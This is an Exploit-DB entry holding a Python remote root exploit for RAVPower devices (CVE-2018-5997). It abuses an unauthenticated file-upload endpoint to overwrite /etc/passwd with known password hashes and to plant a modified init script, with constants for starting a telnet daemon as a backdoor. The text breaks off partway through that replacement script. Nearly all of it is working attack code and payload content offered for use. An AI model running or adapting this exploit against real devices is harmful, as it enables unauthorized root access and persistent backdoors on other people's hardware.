Exploit-DB #43871
Description: RAVPower 2.000.056 - Root Remote Code Execution
Type: remote
Platform: hardware
Date: 2018-01-24
Author: Daniele Linguaglossa & Stefano Farletti

Exploit:
"""

# Exploit Title: RAVPower - remote root
# Date: 23/01/2018
# Exploit Authors: Daniele Linguaglossa
# Vendor Homepage: https://www.ravpower.com/
# Software Link: https://www.ravpower.com/
# Version: 2.000.056
# Tested on: OSX
# CVE : CVE-2018-5997

"""

import requests
import time
import telnetlib


PATH_PASSWD = "/etc"
FILE_[CREDENTIAL_REDACTED]"
PATH_VSTFUNC = "/etc/init.d"
FILE_VSTFUNC = "vstfunc"
FILE_RC = "/etc/rc.d/rc"
BACKDOOR_TERM = "export TERM=xterm"
BACKDOOR_TELNET = "/usr/sbin/telnetd &"
BASH_SHEBANG = "#!/bin/sh"
TELNETD = "/usr/sbin/telnetd -p 1111 &"


def upload(host, port, path, name, content):
    user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0"
    path = "/upload.csp?uploadpath=%s&file=[PII_REDACTED]81" % path
    url ="http://{0}:{1}{2}".format(host,port,path)
    files = {'file' : ('%s' % name, content,'application/octet-stream')}
    headers = {
        "user-agent": user_agent
    }
    try:
        requests.post(url,headers=headers,files=files)
        return True
    except:
        return False


# root:admin
tmp_passwd = """root:$1$YBm5LfCo$5OEwLPLUu085z5EoDpQz7/:0:0:root:/data/UsbDisk1/Volume1:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh
guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new
"""

tmp_vstfunc = """
export PATH=/bin:/sbin:/usr/bin:/usr/sbin
# A function to stop a program.
killproc() {
	local base=${1##*/}
        local pid=
        pid=`pidof $base`
	local i
        if [ -n "$pid" ]; then
		for i in $pid ; do
			kill -KILL $i > /dev/null 2>&1
		done
        fi
    	rm -f /var/run/$base.pid
    	return 0
}
# A function to find the pid of a program.
pidofproc() {
	local base=${1##*/}
	#First try "/var/run/*.pid" files
	if [ -f "/var/run/$base.pid" ]; then
	        local line p pid=
		read line < /var/run/$base.pid
		for p in $line ; do
		       [ -z "$p" -a -d "/proc/$p" ] && pid="$pid $p"
		done
	else
		pid=`pidof $1 || pidof $base`
	fi
	if [ -n "$pid" ]; then
                echo $pid
                return 0
        fi
	return 1
}
# Check if $pid (could be plural) are running
# Return : 0 run
#          1 stop
checkpid() {
	local i
	for i in $* ; do
		if [ -d "/proc/$i" ]; then
			 return 0
		fi
	done
	return 1
}
# Check disk exist
checkdisk() {
        return $?
}
# save pid and log function
savesc() {
	local i=0
    if [ -n "$3" ]; then
        touch /var/run/$3.pid
    fi
    return $?
}

# A function check start of a program.
# return: 1  not exist
#         0  exist
checkonly() {
        local prgname=${1##*/}
        local pid=
        if [ -f "/var/run/$prgname.pid" ]; then
            pid=`pidof $prgname`
            if [ -n "$pid" ]; then
                return 0
            fi
            return 1
        else
            pid=`pidof $prgname`
            if [ -n "$pid" ]; then
                if sleep 1 && checkpid $pid && sleep 1 && checkpid $pid && sleep 2 && checkpid $pid ; then
                    return 2
                fi
            fi
            return 2
        fi

}
# A function save etc to mtd.
# return: 1 failure
#         0 success
saveetc() {
        local ret=0

	/usr/sbin/etc_tools t > /dev/null 2>&1
	let ret=ret+$?
#	ret=$[$ret + $?]
	/usr/sbin/etc_tools p > /dev/null 2>&1
	let ret=ret+$?
#	ret=$[$ret + $?]

	return $ret
}
# A function resume mtd to etc.
# return: 1 failure
#         0 success
resumeetc() {
        local ret=0

	/usr/sbin/etc_tools b > /dev/null 2>&1
	let ret=ret+$?
#	ret=$[$ret + $?]
	/usr/sbin/etc_tools u > /dev/null 2>&1
	let ret=ret+$?
#	ret=$[$ret + $?]

	return $ret
}

# Create a lock for /var/lock
AppScriptLock() {
	if [ -f /var/lock/$1.pid ]; then
		return 0
	else
		touch /var/lock/$1.pid
		return 1
	fi
}

# Check a lock for /var/lock
AppScriptChkLock() {
	if [ -f /var/lock/$1.pid ]; then
		return 1
	else
		return 0
	fi
}

# Delete a lock for /var/lock
AppScriptUnlock() {
	if [ -f /var/lock/$1.pid ]; then
		rm -rf /var/lock/$1.pid
	fi
	return 1
}

DISKPATH="/data/UsbDisk1/Volume1/.vst/upgrade"
ETCPATH="/boot/tmp"
ETCBKPATH="/boot/tmp/etcbackup"
DISKETCFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etc.tar"
DIDKETCBKFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etcbackup.tar.gz"
ETCFILE="/boot/tmp/etc.tar"
ETCBKFILETAR="/boot/tmp/etcbackup.tar"
ETCBKFILE="/boot/tmp/etcbackup.tar.gz"
FILELIST="hostname passwd shadow samba/smbpasswd fileserv/lighttpd.user dropbox baidu"
FILELIST1="hostname"
backup_etc() {
	rm $ETCBKFILETAR -rf
        rm $ETCBKFILE -rf
        rm $ETCBKPATH -rf

        #	if [ ! -e $DISKPATH ];then
         #       	mkdir -p -m 755 $DISKPATH
        #	fi
		if [ ! -e $ETCBKPATH ]; then
			mkdir -p -m 755 $ETCBKPATH
		fi
if [ -z $1 ]; then
	FILELISTALL=$FILELIST
else
	if [ $1 == "resume" ]; then
		FILELISTALL=$FILELIST1
	fi
fi
		for f in $FILELISTALL
                do
                        if [ -d /etc/$f ]; then
                                cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1
                        else
                                if [ "$f" == "samba/smbpasswd" ]; then
                                        if [ ! -e $ETCBKPATH/samba ]; then
                                                mkdir -p $ETCBKPATH/samba
                                        fi
                                        cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1
                                elif [ "$f" == "fileserv/lighttpd.user" ]; then
                                        if [ ! -e $ETCBKPATH/fileserv ]; then
                                                mkdir -p $ETCBKPAT